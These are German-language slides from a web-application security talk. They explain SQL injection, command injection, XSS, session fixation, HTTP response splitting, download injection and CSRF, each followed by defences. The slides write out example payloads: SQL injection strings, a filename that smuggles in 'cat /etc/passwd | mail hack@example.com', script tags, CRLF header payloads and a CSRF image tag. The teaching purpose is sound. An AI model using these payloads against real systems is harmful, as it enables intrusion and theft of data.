Sicherheit in Web-Anwendungen
Thomas Eisenbarth
makandra
- 10 feste Entwickler, 3-4 freie
- ausschließlich Web-Anwendungen mit Ruby on Rails
Agenda
- Um was geht es heute?
- Angriffe auf Web-Anwendungen
- Abwehrmöglichkeiten
Web-Anwendungen: Was kann angegriffen werden?
Worüber sprechen wir heute nicht?
- Angriffe auf untere Netzwerk-Layer (ARP, IP)
- Angriffe auf beteiligte Protokolle (DNS, SSL/TLS)
- DoS-Angriffe auf Hard- oder Softwarekomponenten
Web-Anwendungen: Was kann angegriffen werden?
Wir zeigen heute Angriffe, die
- zu erweiterten Rechten führen.
- zu Datenmanipulationen (z.B. in Datenbanken) geeignet sind.
- Inhalte auf fremde Domains einschleusen.
SQL Injection
Effekt
- Manipulation von Datenbankinhalten
- Potentieller Zugriff auf alle Daten
Ursachen
- Einschleusen von Datenbankbefehlen durch den Anwender
SQL Injection: Beispiel
Suche nach Benutzername
SELECT * FROM users
WHERE name LIKE '%Alice%'
SQL Injection: Beispiel
Suche nach Benutzername
SELECT * FROM users
WHERE name LIKE '%'; --%'
SQL Injection: Beispiel
Benutzer-Kennwort ändern
UPDATE users
SET password = 'foobar' WHERE id = 23
SQL Injection: Beispiel
Alle Benutzer-Kennwörter ändern
UPDATE users
SET password = 'foobar'; -- ' WHERE id = 23
SQL Injection: Beispiel
Login
SELECT * FROM users
WHERE name = 'bob'
AND password = 'secret'
SQL Injection: Beispiel
Login
SELECT * FROM users
WHERE name = 'bob'
AND password = '' OR 1=1; -- '
SQL Injection
- Führt Befehle direkt in der Datenbank aus
- Funktioniert mit allen SQL-Kommandos
- Manipulation von Daten möglich
Untersuchung und Behandlung von Benutzereingaben notwendig: Maskieren von Steuerzeichen (", ', `, etc.);
teilweise Abwehr durch Limitierung der Queries pro Anfrage an die Datenbank
Command Injection
Effekt
- Ausführen von Befehlen auf Systemebene
Ursachen
- Übergabe von Benutzereingaben an Anwendungen auf dem Server
Command Injection
def make_thumbnail(filename, thumbnail_filename)
`convert #{filename} -resize 50% #{thumbnail_filename}`
end
make_thumbnail("failtrain.jpg", "failtrain_thumb.jpg")
=> `convert failtrain.jpg -resize 50% failtrain_thumb.jpg`

→
Command Injection
make_thumbnail("failtrain.jpg", "failtrain_thumb.jpg; cat /etc/passwd | mail hack@example.com")
=> `convert failtrain.jpg -resize 50% failtrain_thumb.jpg; cat /etc/passwd | mail hack@example.com`
Cross-site scripting (XSS)
Effekt
- Ausführen von Inhalten im Kontext anderer Benutzer
Ursachen
- Einfügen von präparierten Inhalten durch Angreifer
- Beim Aufruf werden diese (vom Opfer) ausgeführt
XSS: Beispiel (Stored XSS)
- Bob sendet Nachricht an Alice
Hallo, Alice!
- Nachricht wird in der Datenbank gespeichert
- Alice kann diese Nachricht abrufen
XSS: Beispiel (Stored XSS)
- Bob sendet präparierte Nachricht
<script>alert('Hacked');</script>
- Nachricht enthält JavaScript, der bei Alice ausgeführt wird
XSS: Beispiel (Reflected XSS)
- Inhalte werden an die Anwendung übertragen und direkt wieder ausgeliefert
- Präparierte URLs können JavaScript enthalten
- Typisch für Phising-Angriffe
Warum ist XSS gefährlich?
- JavaScript hat Zugriff auf Cookies
- Cookies enthalten häufig Daten, die einem Benutzer zugeordnet sind
- JavaScript kann praktisch beliebige Kommunikation führen
- Damit können Inhalte der Cookies an Dritte übermittelt werden
Cross-site scripting
- Einschleusen von schadhaften Inhalten und Ausführen durch Dritte
- Ausführen der Inhalte (JavaScript) im Kontext der Opfer
- Ermöglicht das Auslesen von Session-IDs, etc.
Maskieren aller Ausgaben z.B. aus der Datenbank
Session Fixation
Erläuterung: „Session-ID“
- Wiedererkennen des Benutzers durch die Anwendung
- Üblicherweise ein Zufallswert
- Quasi nicht erratbar
Session Fixation
Effekt
- Das Opfer benutzt die Session-ID des Angreifers
- Angreifer und Opfer sind für die Anwendung der selbe Benutzer
Ursachen
- Z.B. manipulierte Cookies
- Andere Angriffe wie Cross-Site Scripting (XSS)
Session Fixation: Beispiel
- Alice erhält eine Session-ID von http://example.org/
- Bob ist Admin auf dieser Seite
- Alice manipuliert Bob's Session-ID, z.B. durch Austausch der Cookie-Daten via XSS
- Bob authentifiziert sich am System
- Alice ist nun als Bob eingeloggt
Verwandter Angriff: Session Hijacking
Session Fixation
- Häufig erst durch andere Angriffsarten möglich
- Wenn erfolgreich, sehr mächtig
- Session-ID und IP-Adressen zu koppeln genügt nicht (Angriffe aus demselben Netzwerk, Spoofing, etc.)
In „relevanten“ Momenten (z.B. Login) muss der Anwender eine neue Session-ID erhalten
Header Injection & HTTP Response Splitting
Effekt
- Manipulation der Server-Antwort
- Ermöglicht unterschieben von neuen Inhalten wie z.B. Cookie-Werten
Ursachen
- Präparierte Benutzerdaten werden in den HTTP-Stream übernommen
Header Injection
- Anwendungen können HTTP-Header zur Kommunikation mit der Client-Software (z.B. Browser) setzen
- Beispiel: Suche nach Free Beer
HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 42
X-Last-Search: Free Beer
<html><body>Nichts gefunden.</body></html>
Header Injection
- Neue Suche: „Free Beer [CRLF] Set-Cookie: user_id=1“
HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 42
X-Last-Search: Free Beer
Set-Cookie: user_id=1
<html><body>Nichts gefunden.</body></html>
Erweiterte Form: HTTP Response Splitting
HTTP Response Splitting
- Umleitungen per HTTP-Redirect:
HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 80
<html><body>You are being
<a href="http://somewhere.tld/">redirected</a>.
</body></html>
HTTP Response Splitting
- Webseite durch manipulierte Server-Antwort:
HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 0
HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 47
<html><body>You have been hacked!</body></html>
Content-Length: 80
<html><body>You are being
<a href="http://somewhere.tld/">redirected</a>.
</body></html>
HTTP Response Splitting
- Veränderung der HTTP-Anwort durch den Angreifer
- Einfügen von beliebigen Inhalten
- Client-Software (Browser des Opfers) interpretiert erhaltene Antwort
Benutzerdaten in Header-Feldern maskieren oder ganz vermeiden
Reponse Splitting: Download Injection
Effekt
- Benutzer lädt Schadprogramm (.exe) herunter
- Durch Reponse Splitting lassen sich solche Downloads einschleusen
Ursachen
Download Injection
Windows-Binaries müssen nicht groß sein:
org 100h
mov dx, msg
mov ah, 9
int 21h
mov ah, 4Ch
int 21h
msg db 'Hallo Welt!', 0Dh, 0Ah, '$'
Resultierende ausführbare Datei mit Netwide Assembler (NASM) kompiliert ist 25 Bytes groß
Download Injection
HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 0
HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Disposition: attachment;filename=download.exe
Content-Length: 25
(25 Bytes Binärdaten)
Content-Length: 80
...
Download Injection
- Muss ein „richtiges“ Schadprogramm nicht „richtig“ groß sein?
- Tiny PE Challenge: „The object of the challenge was to write the smallest PE file that downloads a file from the Internet and executes it.“ [1]
- Guess!
[1] http://www.phreedom.org/solar/code/tinype/
Download Injection
[1] http://www.phreedom.org/solar/code/tinype/
Cross-Site Request Forgery (CSRF)
Effekt
- Benutzer unwissentlich Aktionen in der Anwendung durchführen lassen
Ursachen
- Unzureichend Abgesicherte Aktionen der Anwendung
- Automatisierter Aufruf durch den Browser
CSRF: Beispiel
„Geheimes Projekt“ löschen:
http://example.org/projects/1/destroy
CSRF: Beispiel
http://example.org/projects/1/destroy
- Es genügt, wenn das Opfer am System angemeldet ist
- Der Aufruf kann von außen erfolgen, z.B. durch Einbetten der URL auf einer anderen Seite
<img src="http://example.org/projects/1/destroy" />
Cross-Site Request Forgery (CSRF)
- Führt Befehle als das Opfer aus
- Benutzer sind häufig eingeloggt
- Geschieht unbemerkt
- Unabhängig vom HTTP-Request-Typ (GET, POST, PUT, ...)
Kritische Aktionen müssen durch Zugriffe von außen abgesichert sein, z.B. durch Tokens.
Gegenmaßnahmen
SQL Injection, Command Injection, Cross-Site Scripting (XSS), HTTP Response Splitting
(Benutzer)eingaben
- Formular
- Web-Service
- Parameter
- Cookies
- ...
prinzipiell als gefährlich ansehen und Steuerzeichen maskieren oder entfernen
Gegenmaßnahmen
Session Fixation
- Häufig durch andere Angriffsformen begünstigt
- Session sollte nicht von außen manipulierbar sein
Eindeutigkeit des Anwenders sicherstellen, z.B. durch Zuweisen einer neuen Session-ID nach erfolgreicher Authentifizierung
Gegenmaßnahmen
Cross-Site Request Forgery (CSRF)
Benutzer-Interaktion
- insb. relevant bei Aktionen, die Daten ändern
- GET-Requests sind sehr leicht zu erzeugen (<img ...>);
POST/PUT/... per JavaScript
- absichern durch etwas nur dem Benutzer bekannt sein kann (z.B. zufälliges Token)
Häufig durch Frameworks bereitgestellt
Lessons learned (1): Sichere Anwendungen, aber ...
- Cookie-basierter Session-Store & sensible Daten in Sessions
-
Fehlerhafte Dateiberechtigungen (temporäre Dateien)
-
Unsichere Datei-Uploads (z.B. Bilder-Uploads nicht auf solche beschränkt => Upload von foo.php)
-
unverschlüsselte Kommunikation
(FTP, SQL über Internet, E-Mail, etc)
-
unverschlüsselte Festplatten mit Daten aus Produktivsystemen
Lessons learned (2): Stimmen aus der Praxis ...
- "... wir sollten jetzt mit Wireshark den TCP-Traffic anschauen, ob da alles passt ..."
- "... vielleicht hat auch der/die/das {Compiler | Assembler | Framework | Betriebssystem} einen Bug ..."
- "... aber gib es doch nur kurz in Notepad ein damit wir sehen ob kein Tippfehler drin ist"
- "... ouhhh, das ist ja prod-1-berlin.example.org ..."